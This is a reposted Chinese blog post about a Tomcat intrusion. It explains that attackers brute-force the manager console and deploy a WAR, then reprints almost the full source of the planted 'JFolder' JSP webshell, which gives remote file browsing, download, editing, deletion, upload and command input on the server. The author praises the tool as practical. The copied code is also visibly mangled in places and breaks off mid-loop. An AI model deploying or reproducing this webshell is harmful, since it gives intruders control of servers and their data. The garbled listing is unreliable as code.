学了一招,原来tomcat应用这么容易就能入侵

转载地址:http://blog.csdn.net/ljwhx2002/article/details/5972406

 

这些天我的tomcat目录下莫名其妙的多了个war文件,里面内容只有一个index.jsp, 当时很疑惑,谁传上去的?能控制服务器权限的团队里就我和nick,都没传过。 出于好奇,我把这个jsp弄到了我本地,一看内容,哇塞,天哪,这是个资源管理器的功能,能控制机器上所有文件操作。显然,被入侵了

 

幸好还没有杯具,我们也有一招,虽然war被弄在webapp下了,可是入侵者无法访问这个url呵呵,也是碰巧的事情,apache和tomcat整合的,只开放了部分的url。8080端口我们是关闭的。幸灾乐祸了,兴奋的是学了一招,真是多谢这个入侵的哥们了。以前几个公司都没考虑过这样的事情, 今天就公开下,把入侵的原理和方案告诉大家:

 

 

1,tomcat默认有个manager的管理后台app,密码存放在conf/tomcat-users.xml里面。如果你的tomcat是外网开放的,那么这个manager服务也是开放的,http://你的主机:端口/manager/html 可以看看是不是通的

 

    入侵者根据此服务,使用暴力破解口令的工具(这种工具很多,我就不提了,百度一大把),manager口令被破解后,可以进入tomcat管理后台,放置并部署一个war

 

 

2,这个war目录名可能是随机的,入侵者主要是利用war可热部署,然后再访问http://你的主机地址:端口/入侵者放置的目录名

 

   这样就执行入侵者的那个应用了!!!

 

 

 

投放的文件目前是很火的一个jsp,不过的确很实用呵呵,把jsp内容公开下:

 

本地执行了下,的确是个很好用的资源管理器!window机器的话还能执行一些命令,可以随意修改文件,上传木马等等~ 原作者并不一定是入侵者,所以保留隐私,我把上面作者画掉了。

 

jsp内容:

[java]  view plain copy
  1. <%  
  2. /** 
  3. JFolder V0.9  windows platform 
  4. @Filename: JFolder.jsp  
  5. @Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。 
  6. @Author: 保留隐私--已删掉 
  7. @Email :保留隐私--已删掉 
  8.  
  9. @Bugs  :  下载时,中文文件名无法正常显示 
  10. */  
  11. %>  
  12. <%@ page contentType="text/html;charset=gb2312"%>  
  13. <%@page import="java.io.*,java.util.*,java.net.*" %>  
  14. <%!  
  15. private final static int languageNo=0//语言版本,0 : 中文; 1:英文  
  16. String strThisFile="JFolder.jsp";  
  17. String[] authorInfo={" <font color=red> 写的不好,将就着用吧 - -  本人收终身徒弟 </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};  
  18. String[] strFileManage   = {"文 件 管 理","File Management"};  
  19. String[] strCommand      = {"CMD 命 令","Command Window"};  
  20. String[] strSysProperty  = {"系 统 属 性","System Property"};  
  21. String[] strHelp         = {"帮 助","Help"};  
  22. String[] strParentFolder = {"上级目录","Parent Folder"};  
  23. String[] strCurrentFolder= {"当前目录","Current Folder"};  
  24. String[] strDrivers      = {"驱动器","Drivers"};  
  25. String[] strFileName     = {"文件名称","File Name"};  
  26. String[] strFileSize     = {"文件大小","File Size"};  
  27. String[] strLastModified = {"最后修改","Last Modified"};  
  28. String[] strFileOperation= {"文件操作","Operations"};  
  29. String[] strFileEdit     = {"修改","Edit"};  
  30. String[] strFileDown     = {"下载","Download"};  
  31. String[] strFileCopy     = {"复制","Move"};  
  32. String[] strFileDel      = {"删除","Delete"};  
  33. String[] strExecute      = {"执行","Execute"};  
  34. String[] strBack         = {"返回","Back"};  
  35. String[] strFileSave     = {"保存","Save"};  
  36.   
  37. public class FileHandler  
  38. {  
  39.     private String strAction="";  
  40.     private String strFile="";  
  41.     void FileHandler(String action,String f)  
  42.     {  
  43.       
  44.     }  
  45. }  
  46.   
  47. public static class UploadMonitor {  
  48.   
  49.         static Hashtable uploadTable = new Hashtable();  
  50.   
  51.         static void set(String fName, UplInfo info) {  
  52.             uploadTable.put(fName, info);  
  53.         }  
  54.   
  55.         static void remove(String fName) {  
  56.             uploadTable.remove(fName);  
  57.         }  
  58.   
  59.         static UplInfo getInfo(String fName) {  
  60.             UplInfo info = (UplInfo) uploadTable.get(fName);  
  61.             return info;  
  62.         }  
  63. }  
  64.   
  65. public class UplInfo {  
  66.   
  67.         public long totalSize;  
  68.         public long currSize;  
  69.         public long starttime;  
  70.         public boolean aborted;  
  71.   
  72.         public UplInfo() {  
  73.             totalSize = 0l;  
  74.             currSize = 0l;  
  75.             starttime = System.currentTimeMillis();  
  76.             aborted = false;  
  77.         }  
  78.   
  79.         public UplInfo(int size) {  
  80.             totalSize = size;  
  81.             currSize = 0;  
  82.             starttime = System.currentTimeMillis();  
  83.             aborted = false;  
  84.         }  
  85.   
  86.         public String getUprate() {  
  87.             long time = System.currentTimeMillis() - starttime;  
  88.             if (time != 0) {  
  89.                 long uprate = currSize * 1000 / time;  
  90.                 return convertFileSize(uprate) + "/s";  
  91.             }  
  92.             else return "n/a";  
  93.         }  
  94.   
  95.         public int getPercent() {  
  96.             if (totalSize == 0return 0;  
  97.             else return (int) (currSize * 100 / totalSize);  
  98.         }  
  99.   
  100.         public String getTimeElapsed() {  
  101.             long time = (System.currentTimeMillis() - starttime) / 1000l;  
  102.             if (time - 60l >= 0){  
  103.                 if (time % 60 >=10return time / 60 + ":" + (time % 60) + "m";  
  104.                 else return time / 60 + ":0" + (time % 60) + "m";  
  105.             }  
  106.             else return time<10 ? "0" + time + "s": time + "s";  
  107.         }  
  108.   
  109.         public String getTimeEstimated() {  
  110.             if (currSize == 0return "n/a";  
  111.             long time = System.currentTimeMillis() - starttime;  
  112.             time = totalSize * time / currSize;  
  113.             time /= 1000l;  
  114.             if (time - 60l >= 0){  
  115.                 if (time % 60 >=10return time / 60 + ":" + (time % 60) + "m";  
  116.                 else return time / 60 + ":0" + (time % 60) + "m";  
  117.             }  
  118.             else return time<10 ? "0" + time + "s": time + "s";  
  119.         }  
  120.   
  121.     }  
  122.   
  123.     public class FileInfo {  
  124.   
  125.         public String name = null, clientFileName = null, fileContentType = null;  
  126.         private byte[] fileContents = null;  
  127.         public File file = null;  
  128.         public StringBuffer sb = new StringBuffer(100);  
  129.   
  130.         public void setFileContents(byte[] aByteArray) {  
  131.             fileContents = new byte[aByteArray.length];  
  132.             System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);  
  133.         }  
  134. }  
  135.   
  136. // A Class with methods used to process a ServletInputStream  
  137. public class HttpMultiPartParser {  
  138.   
  139.         private final String lineSeparator = System.getProperty("line.separator""/n");  
  140.         private final int ONE_MB = 1024 * 1;  
  141.   
  142.         public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,  
  143.                 int clength) throws IllegalArgumentException, IOException {  
  144.             if (is == nullthrow new IllegalArgumentException("InputStream");  
  145.             if (boundary == null || boundary.trim().length() < 1throw new IllegalArgumentException(  
  146.                     "/"" + boundary + "/" is an illegal boundary indicator");  
  147.             boundary = "--" + boundary;  
  148.             StringTokenizer stLine = null, stFields = null;  
  149.             FileInfo fileInfo = null;  
  150.             Hashtable dataTable = new Hashtable(5);  
  151.             String line = null, field = null, paramName = null;  
  152.             boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);  
  153.             boolean isFile = false;  
  154.             if (saveFiles) { // Create the required directory (including parent dirs)  
  155.                 File f = new File(saveInDir);  
  156.                 f.mkdirs();  
  157.             }  
  158.             line = getLine(is);  
  159.             if (line == null || !line.startsWith(boundary)) throw new IOException(  
  160.                     "Boundary not found; boundary = " + boundary + ", line = " + line);  
  161.             while (line != null) {  
  162.                 if (line == null || !line.startsWith(boundary)) return dataTable;  
  163.                 line = getLine(is);  
  164.                 if (line == nullreturn dataTable;  
  165.                 stLine = new StringTokenizer(line, ";/r/n");  
  166.                 if (stLine.countTokens() < 2throw new IllegalArgumentException(  
  167.                         "Bad data in second line");  
  168.                 line = stLine.nextToken().toLowerCase();  
  169.                 if (line.indexOf("form-data") < 0throw new IllegalArgumentException(  
  170.                         "Bad data in second line");  
  171.                 stFields = new StringTokenizer(stLine.nextToken(), "=/"");  
  172.                 if (stFields.countTokens() < 2throw new IllegalArgumentException(  
  173.                         "Bad data in second line");  
  174.                 fileInfo = new FileInfo();  
  175.                 stFields.nextToken();  
  176.                 paramName = stFields.nextToken();  
  177.                 isFile = false;  
  178.                 if (stLine.hasMoreTokens()) {  
  179.                     field = stLine.nextToken();  
  180.                     stFields = new StringTokenizer(field, "=/"");  
  181.                     if (stFields.countTokens() > 1) {  
  182.                         if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {  
  183.                             fileInfo.name = paramName;  
  184.                             String value = stFields.nextToken();  
  185.                             if (value != null && value.trim().length() > 0) {  
  186.                                 fileInfo.clientFileName = value;  
  187.                                 isFile = true;  
  188.                             }  
  189.                             else {  
  190.                                 line = getLine(is); // Skip "Content-Type:" line  
  191.                                 line = getLine(is); // Skip blank line  
  192.                                 line = getLine(is); // Skip blank line  
  193.                                 line = getLine(is); // Position to boundary line  
  194.                                 continue;  
  195.                             }  
  196.                         }  
  197.                     }  
  198.                     else if (field.toLowerCase().indexOf("filename") >= 0) {  
  199.                         line = getLine(is); // Skip "Content-Type:" line  
  200.                         line = getLine(is); // Skip blank line  
  201.                         line = getLine(is); // Skip blank line  
  202.                         line = getLine(is); // Position to boundary line  
  203.                         continue;  
  204.                     }  
  205.                 }  
  206.                 boolean skipBlankLine = true;  
  207.                 if (isFile) {  
  208.                     line = getLine(is);  
  209.                     if (line == nullreturn dataTable;  
  210.                     if (line.trim().length() < 1) skipBlankLine = false;  
  211.                     else {  
  212.                         stLine = new StringTokenizer(line, ": ");  
  213.                         if (stLine.countTokens() < 2throw new IllegalArgumentException(  
  214.                                 "Bad data in third line");  
  215.                         stLine.nextToken(); // Content-Type  
  216.                         fileInfo.fileContentType = stLine.nextToken();  
  217.                     }  
  218.                 }  
  219.                 if (skipBlankLine) {  
  220.                     line = getLine(is);  
  221.                     if (line == nullreturn dataTable;  
  222.                 }  
  223.                 if (!isFile) {  
  224.                     line = getLine(is);  
  225.                     if (line == nullreturn dataTable;  
  226.                     dataTable.put(paramName, line);  
  227.                     // If parameter is dir, change saveInDir to dir  
  228.                     if (paramName.equals("dir")) saveInDir = line;  
  229.                     line = getLine(is);  
  230.                     continue;  
  231.                 }  
  232.                 try {  
  233.                     UplInfo uplInfo = new UplInfo(clength);  
  234.                     UploadMonitor.set(fileInfo.clientFileName, uplInfo);  
  235.                     OutputStream os = null;  
  236.                     String path = null;  
  237.                     if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,  
  238.                             fileInfo.clientFileName));  
  239.                     else os = new ByteArrayOutputStream(ONE_MB);  
  240.                     boolean readingContent = true;  
  241.                     byte previousLine[] = new byte[2 * ONE_MB];  
  242.                     byte temp[] = null;  
  243.                     byte currentLine[] = new byte[2 * ONE_MB];  
  244.                     int read, read3;  
  245.                     if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {  
  246.                         line = null;  
  247.                         break;  
  248.                     }  
  249.                     while (readingContent) {  
  250.                         if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {  
  251.                             line = null;  
  252.                             uplInfo.aborted = true;  
  253.                             break;  
  254.                         }  
  255.                         if (compareBoundary(boundary, currentLine)) {  
  256.                             os.write(previousLine, 0, read - 2);  
  257.                             line = new String(currentLine, 0, read3);  
  258.                             break;  
  259.                         }  
  260.                         else {  
  261.                             os.write(previousLine, 0, read);  
  262.                             uplInfo.currSize += read;  
  263.                             temp = currentLine;  
  264.                             currentLine = previousLine;  
  265.                             previousLine = temp;  
  266.                             read = read3;  
  267.                         }//end else  
  268.                     }//end while  
  269.                     os.flush();  
  270.                     os.close();  
  271.                     if (!saveFiles) {  
  272.                         ByteArrayOutputStream baos = (ByteArrayOutputStream) os;  
  273.                         fileInfo.setFileContents(baos.toByteArray());  
  274.                     }  
  275.                     else fileInfo.file = new File(path);  
  276.                     dataTable.put(paramName, fileInfo);  
  277.                     uplInfo.currSize = uplInfo.totalSize;  
  278.                 }//end try  
  279.                 catch (IOException e) {  
  280.                     throw e;  
  281.                 }  
  282.             }  
  283.             return dataTable;  
  284.         }  
  285.   
  286.         /** 
  287.          * Compares boundary string to byte array 
  288.          */  
  289.         private boolean compareBoundary(String boundary, byte ba[]) {  
  290.             byte b;  
  291.             if (boundary == null || ba == nullreturn false;  
  292.             for (int i = 0; i < boundary.length(); i++)  
  293.                 if ((byte) boundary.charAt(i) != ba[i]) return false;  
  294.             return true;  
  295.         }  
  296.   
  297.         /** Convenience method to read HTTP header lines */  
  298.         private synchronized String getLine(ServletInputStream sis) throws IOException {  
  299.             byte b[] = new byte[1024];  
  300.             int read = sis.readLine(b, 0, b.length), index;  
  301.             String line = null;  
  302.             if (read != -1) {  
  303.                 line = new String(b, 0, read);  
  304.                 if ((index = line.indexOf('/n')) >= 0) line = line.substring(0, index - 1);  
  305.             }  
  306.             return line;  
  307.         }  
  308.   
  309.         public String getFileName(String dir, String fileName) throws IllegalArgumentException {  
  310.             String path = null;  
  311.             if (dir == null || fileName == nullthrow new IllegalArgumentException(  
  312.                     "dir or fileName is null");  
  313.             int index = fileName.lastIndexOf('/');  
  314.             String name = null;  
  315.             if (index >= 0) name = fileName.substring(index + 1);  
  316.             else name = fileName;  
  317.             index = name.lastIndexOf('//');  
  318.             if (index >= 0) fileName = name.substring(index + 1);  
  319.             path = dir + File.separator + fileName;  
  320.             if (File.separatorChar == '/'return path.replace('//', File.separatorChar);  
  321.             else return path.replace('/', File.separatorChar);  
  322.         }  
  323. //End of class HttpMultiPartParser  
  324.   
  325. String formatPath(String p)  
  326. {  
  327.     StringBuffer sb=new StringBuffer();  
  328.     for (int i = 0; i < p.length(); i++)   
  329.     {  
  330.         if(p.charAt(i)=='//')  
  331.         {  
  332.             sb.append("");  
  333.         }  
  334.         else  
  335.         {  
  336.             sb.append(p.charAt(i));  
  337.         }  
  338.     }  
  339.     return sb.toString();  
  340. }  
  341.   
  342.     /** 
  343.      * Converts some important chars (int) to the corresponding html string 
  344.      */  
  345.     static String conv2Html(int i) {  
  346.         if (i == '&'return "&amp;";  
  347.         else if (i == '<'return "&lt;";  
  348.         else if (i == '>'return "&gt;";  
  349.         else if (i == '"'return "&quot;";  
  350.         else return "" + (char) i;  
  351.     }  
  352.   
  353.     /** 
  354.      * Converts a normal string to a html conform string 
  355.      */  
  356.     static String htmlEncode(String st) {  
  357.         StringBuffer buf = new StringBuffer();  
  358.         for (int i = 0; i < st.length(); i++) {  
  359.             buf.append(conv2Html(st.charAt(i)));  
  360.         }  
  361.         return buf.toString();  
  362.     }  
  363. String getDrivers()  
  364. /** 
  365. Windows系统上取得可用的所有逻辑盘 
  366. */  
  367. {  
  368.     StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");  
  369.     File roots[]=File.listRoots();  
  370.     for(int i=0;i<roots.length;i++)  
  371.     {  
  372.         sb.append(" <a href="/" mce_href="/""javascript:doForm('','"+roots[i]+"//','','','1','');/">");  
  373.         sb.append(roots[i]+"</a>&nbsp;");  
  374.     }  
  375.     return sb.toString();  
  376. }  
  377. static String convertFileSize(long filesize)  
  378. {  
  379.     //bug 5.09M 显示5.9M  
  380.     String strUnit="Bytes";  
  381.     String strAfterComma="";  
  382.     int intDivisor=1;  
  383.     if(filesize>=1024*1024)  
  384.     {  
  385.         strUnit = "MB";  
  386.         intDivisor=1024*1024;  
  387.     }  
  388.     else if(filesize>=1024)  
  389.     {  
  390.         strUnit = "KB";  
  391.         intDivisor=1024;  
  392.     }  
  393.     if(intDivisor==1return filesize + " " + strUnit;  
  394.     strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;  
  395.     if(strAfterComma=="") strAfterComma=".0";  
  396.     return filesize / intDivisor + "." + strAfterComma + " " + strUnit;  
  397. }  
  398. %>  
  399. <%  
  400. request.setCharacterEncoding("gb2312");  
  401. String tabID = request.getParameter("tabID");  
  402. String strDir = request.getParameter("path");  
  403. String strAction = request.getParameter("action");  
  404. String strFile = request.getParameter("file");  
  405. String strPath = strDir + "//" + strFile;   
  406. String strCmd = request.getParameter("cmd");  
  407. StringBuffer sbEdit=new StringBuffer("");  
  408. StringBuffer sbDown=new StringBuffer("");  
  409. StringBuffer sbCopy=new StringBuffer("");  
  410. StringBuffer sbSaveCopy=new StringBuffer("");  
  411. StringBuffer sbNewFile=new StringBuffer("");  
  412.   
  413. if((tabID==null) || tabID.equals(""))  
  414. {  
  415.     tabID = "1";  
  416. }  
  417.   
  418. if(strDir==null||strDir.length()<1)  
  419. {  
  420.     strDir = request.getRealPath("/");  
  421. }  
  422.   
  423.   
  424. if(strAction!=null && strAction.equals("down"))  
  425. {  
  426.     File f=new File(strPath);  
  427.     if(f.length()==0)  
  428.     {  
  429.         sbDown.append("文件大小为 0 字节,就不用下了吧");  
  430.     }  
  431.     else  
  432.     {  
  433.         response.setHeader("content-type","text/html; charset=ISO-8859-1");  
  434.         response.setContentType("APPLICATION/OCTET-STREAM");      
  435.         response.setHeader("Content-Disposition","attachment; filename=/""+f.getName()+"/"");  
  436.         FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());  
  437.         out.clearBuffer();  
  438.         int i;  
  439.         while ((i=fileInputStream.read()) != -1)  
  440.         {  
  441.             out.write(i);     
  442.         }  
  443.         fileInputStream.close();  
  444.         out.close();  
  445.     }  
  446. }  
  447.   
  448. if(strAction!=null && strAction.equals("del"))  
  449. {  
  450.     File f=new File(strPath);  
  451.     f.delete();  
  452. }  
  453.   
  454. if(strAction!=null && strAction.equals("edit"))  
  455. {  
  456.     File f=new File(strPath);     
  457.     BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));  
  458.     sbEdit.append("<form name='frmEdit' action='' method='POST'>/r/n");  
  459.     sbEdit.append("<input type=hidden name=action value=save >/r/n");  
  460.     sbEdit.append("<input type=hidden name=path value='"+strDir+"' >/r/n");  
  461.     sbEdit.append("<input type=hidden name=file value='"+strFile+"' >/r/n");  
  462.     sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");  
  463.     sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' οnclick='history.back(-1);'> &nbsp;"+strPath+"/r/n");  
  464.     sbEdit.append("<br><textarea rows=30 cols=90 name=content>");  
  465.     String line="";  
  466.     while((line=br.readLine())!=null)  
  467.     {  
  468.         sbEdit.append(htmlEncode(line)+"/r/n");       
  469.     }  
  470.    sbEdit.append("</textarea>");  
  471.     sbEdit.append("<input type=hidden name=path value="+strDir+">");  
  472.     sbEdit.append("</form>");  
  473. }  
  474.   
  475. if(strAction!=null && strAction.equals("save"))  
  476. {  
  477.     File f=new File(strPath);  
  478.     BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));  
  479.     String strContent=request.getParameter("content");  
  480.     bw.write(strContent);  
  481.     bw.close();  
  482. }  
  483. if(strAction!=null && strAction.equals("copy"))  
  484. {  
  485.     File f=new File(strPath);  
  486.     sbCopy.append("<br><form name='frmCopy' action='' method='POST'>/r/n");  
  487.     sbCopy.append("<input type=hidden name=action value=savecopy >/r/n");  
  488.     sbCopy.append("<input type=hidden name=path value='"+strDir+"' >/r/n");  
  489.     sbCopy.append("<input type=hidden name=file value='"+strFile+"' >/r/n");  
  490.     sbCopy.append("原始文件: "+strPath+"<p>");  
  491.     sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>");  
  492.     sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");  
  493.     sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' οnclick='history.back(-1);'> <p>&nbsp;/r/n");  
  494.     sbCopy.append("</form>");  
  495. }  
  496. if(strAction!=null && strAction.equals("savecopy"))  
  497. {  
  498.     File f=new File(strPath);  
  499.     String strDesFile=request.getParameter("file2");  
  500.     if(strDesFile==null || strDesFile.equals(""))  
  501.     {  
  502.         sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");  
  503.     }  
  504.     else  
  505.     {  
  506.         File f_des=new File(strDesFile);  
  507.         if(f_des.isFile())  
  508.         {  
  509.             sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");  
  510.         }  
  511.         else  
  512.         {  
  513.             String strTmpFile=strDesFile;  
  514.             if(f_des.isDirectory())  
  515.             {  
  516.                 if(!strDesFile.endsWith("//"))  
  517.                 {  
  518.                     strDesFile=strDesFile+"//";  
  519.                 }  
  520.                 strTmpFile=strDesFile+"cqq_"+strFile;  
  521.              }  
  522.               
  523.             File f_des_copy=new File(strTmpFile);  
  524.             FileInputStream in1=new FileInputStream(f);  
  525.             FileOutputStream out1=new FileOutputStream(f_des_copy);  
  526.             byte[] buffer=new byte[1024];  
  527.             int c;  
  528.             while((c=in1.read(buffer))!=-1)  
  529.             {  
  530.                 out1.write(buffer,0,c);  
  531.             }  
  532.             in1.close();  
  533.             out1.close();  
  534.       
  535.             sbSaveCopy.append("原始文件 :"+strPath+"<p>");  
  536.             sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>");  
  537.             sbSaveCopy.append("<font color=red>复制成功!</font>");            
  538.         }         
  539.     }     
  540.     sbSaveCopy.append("<p><input type=button name=saveCopyBack οnclick='history.back(-2);' value=返回>");  
  541. }  
  542. if(strAction!=null && strAction.equals("newFile"))  
  543. {  
  544.     String strF=request.getParameter("fileName");  
  545.     String strType1=request.getParameter("btnNewFile");  
  546.     String strType2=request.getParameter("btnNewDir");  
  547.     String strType="";  
  548.     if(strType1==null)  
  549.     {  
  550.         strType="Dir";  
  551.     }  
  552.     else if(strType2==null)  
  553.     {  
  554.         strType="File";  
  555.     }  
  556.     if(!strType.equals("") && !(strF==null || strF.equals("")))  
  557.     {         
  558.             File f_new=new File(strF);            
  559.             if(strType.equals("File") && !f_new.createNewFile())  
  560.                 sbNewFile.append(strF+" 文件创建失败");  
  561.             if(strType.equals("Dir") && !f_new.mkdirs())  
  562.                 sbNewFile.append(strF+" 目录创建失败");  
  563.     }  
  564.     else  
  565.     {  
  566.         sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");  
  567.     }  
  568. }  
  569.   
  570. if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))  
  571. {  
  572.     String tempdir=".";  
  573.     boolean error=false;  
  574.     response.setContentType("text/html");  
  575.     sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");  
  576.     HttpMultiPartParser parser = new HttpMultiPartParser();  
  577.   
  578.     int bstart = request.getContentType().lastIndexOf("oundary=");  
  579.     String bound = request.getContentType().substring(bstart + 8);  
  580.     int clength = request.getContentLength();  
  581.     Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);  
  582.     if (ht.get("cqqUploadFile") != null)  
  583.     {  
  584.   
  585.         FileInfo fi = (FileInfo) ht.get("cqqUploadFile");  
  586.         File f1 = fi.file;  
  587.         UplInfo info = UploadMonitor.getInfo(fi.clientFileName);  
  588.         if (info != null && info.aborted)   
  589.         {  
  590.             f1.delete();  
  591.             request.setAttribute("error""Upload aborted");  
  592.         }  
  593.         else   
  594.         {  
  595.             String path = (String) ht.get("path");  
  596.             if(path!=null && !path.endsWith("//"))   
  597.                 path = path + "//";  
  598.             if (!f1.renameTo(new File(path + f1.getName())))   
  599.             {  
  600.                 request.setAttribute("error""Cannot upload file.");  
  601.                 error = true;  
  602.                 f1.delete();  
  603.             }  
  604.         }  
  605.     }  
  606. }  
  607. %>  
  608. <html>  
  609. <head>  
  610. <mce:style type="text/css"><!--  
  611. td,select,input,body{font-size:9pt;}  
  612. A { TEXT-DECORATION: none }  
  613.   
  614. #tablist{  
  615. padding: 5px 0;  
  616. margin-left: 0;  
  617. margin-bottom: 0;  
  618. margin-top: 0.1em;  
  619. font:9pt;  
  620. }  
  621.   
  622. #tablist li{  
  623. list-style: none;  
  624. display: inline;  
  625. margin: 0;  
  626. }  
  627.   
  628. #tablist li a{  
  629. padding: 3px 0.5em;  
  630. margin-left: 3px;  
  631. border: 1px solid ;  
  632. background: F6F6F6;  
  633. }  
  634.   
  635. #tablist li a:link, #tablist li a:visited{  
  636. color: navy;  
  637. }  
  638.   
  639. #tablist li a.current{  
  640. background: #EAEAFF;  
  641. }  
  642.   
  643. #tabcontentcontainer{  
  644. width: 100%;  
  645. padding: 5px;  
  646. border: 1px solid black;  
  647. }  
  648.   
  649. .tabcontent{  
  650. display:none;  
  651. }  
  652. --></mce:style><style type="text/css" mce_bogus="1">td,select,input,body{font-size:9pt;}  
  653. A { TEXT-DECORATION: none }  
  654.   
  655. #tablist{  
  656. padding: 5px 0;  
  657. margin-left: 0;  
  658. margin-bottom: 0;  
  659. margin-top: 0.1em;  
  660. font:9pt;  
  661. }  
  662.   
  663. #tablist li{  
  664. list-style: none;  
  665. display: inline;  
  666. margin: 0;  
  667. }  
  668.   
  669. #tablist li a{  
  670. padding: 3px 0.5em;  
  671. margin-left: 3px;  
  672. border: 1px solid ;  
  673. background: F6F6F6;  
  674. }  
  675.   
  676. #tablist li a:link, #tablist li a:visited{  
  677. color: navy;  
  678. }  
  679.   
  680. #tablist li a.current{  
  681. background: #EAEAFF;  
  682. }  
  683.   
  684. #tabcontentcontainer{  
  685. width: 100%;  
  686. padding: 5px;  
  687. border: 1px solid black;  
  688. }  
  689.   
  690. .tabcontent{  
  691. display:none;  
  692. }</style>  
  693.   
  694. <mce:script type="text/javascript"><!--  
  695. var initialtab=[<%=tabID%>, "menu<%=tabID%>"]  
  696.   
  697. Stop editting  
  698.   
  699. function cascadedstyle(el, cssproperty, csspropertyNS){  
  700. if (el.currentStyle)  
  701. return el.currentStyle[cssproperty]  
  702. else if (window.getComputedStyle){  
  703. var elstyle=window.getComputedStyle(el, "")  
  704. return elstyle.getPropertyValue(csspropertyNS)  
  705. }  
  706. }  
  707.   
  708. var previoustab=""  
  709.   
  710. function expandcontent(cid, aobject){  
  711. if (document.getElementById){  
  712. highlighttab(aobject)  
  713. if (previoustab!="")  
  714. document.getElementById(previoustab).style.display="none"  
  715. document.getElementById(cid).style.display="block"  
  716. previoustab=cid  
  717. if (aobject.blur)  
  718. aobject.blur()  
  719. return false  
  720. }  
  721. else  
  722. return true  
  723. }  
  724.   
  725. function highlighttab(aobject){  
  726. if (typeof tabobjlinks=="undefined")  
  727. collecttablinks()  
  728. for (i=0; i<tabobjlinks.length; i++)  
  729. tabobjlinks[i].style.backgroundColor=initTabcolor  
  730. var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor  
  731. aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor  
  732. }  
  733.   
  734. function collecttablinks(){  
  735. var tabobj=document.getElementById("tablist")  
  736. tabobjlinks=tabobj.getElementsByTagName("A")  
  737. }  
  738.   
  739. function do_onload(){  
  740. collecttablinks()  
  741. initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor""background-color")  
  742. initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor""background-color")  
  743. expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])  
  744. }  
  745.   
  746. if (window.addEventListener)  
  747. window.addEventListener("load", do_onload, false)  
  748. else if (window.attachEvent)  
  749. window.attachEvent("onload", do_onload)  
  750. else if (document.getElementById)  
  751. window.οnlοad=do_onload  
  752. // --></mce:script>  
  753. <mce:script language="javascript"><!--  
  754. function doForm(action,path,file,cmd,tab,content)  
  755. {  
  756.     document.frmCqq.action.value=action;  
  757.     document.frmCqq.path.value=path;  
  758.     document.frmCqq.file.value=file;  
  759.     document.frmCqq.cmd.value=cmd;  
  760.     document.frmCqq.tabID.value=tab;  
  761.     document.frmCqq.content.value=content;  
  762.     if(action=="del")  
  763.     {  
  764.         if(confirm("确定要删除文件 "+file+" 吗?"))  
  765.         document.frmCqq.submit();  
  766.     }  
  767.     else  
  768.     {  
  769.         document.frmCqq.submit();      
  770.     }  
  771. }  
  772. // --></mce:script>  
  773.   
  774. <title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>  
  775. <meta http-equiv="Content-Type" content="text/html; charset=gb2312"><head>  
  776.   
  777.   
  778. <body>  
  779.   
  780. <form name="frmCqq" method="post" action="">  
  781. <input type="hidden" name="action" value="">  
  782. <input type="hidden" name="path" value="">  
  783. <input type="hidden" name="file" value="">  
  784. <input type="hidden" name="cmd" value="">  
  785. <input type="hidden" name="tabID" value="2">  
  786. <input type="hidden" name="content" value="">  
  787. </form>  
  788.   
  789. <!--Top Menu Started-->  
  790. <ul id="tablist">  
  791. <li><a href="http://www.smallrain.net" mce_href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>  
  792. <li><a href="new.htm" mce_href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>  
  793. <li><a href="hot.htm" mce_href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>  
  794. <li><a href="search.htm" mce_href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>  
  795.    <%=authorInfo[languageNo]%>  
  796. </ul>  
  797. <!--Top Menu End-->  
  798.   
  799.   
  800. <%  
  801. StringBuffer sbFolder=new StringBuffer("");  
  802. StringBuffer sbFile=new StringBuffer("");  
  803. try  
  804. {  
  805.     File objFile = new File(strDir);  
  806.     File list[] = objFile.listFiles();    
  807.     if(objFile.getAbsolutePath().length()>3)  
  808.     {  
  809.         sbFolder.append("<tr><td >&nbsp;</td><td><a href="/" mce_href="/""javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');/">");  
  810.         sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>/r/n ");  
  811.   
  812.   
  813.     }  
  814.     for(int i=0;i<list.length;i++)  
  815.     {  
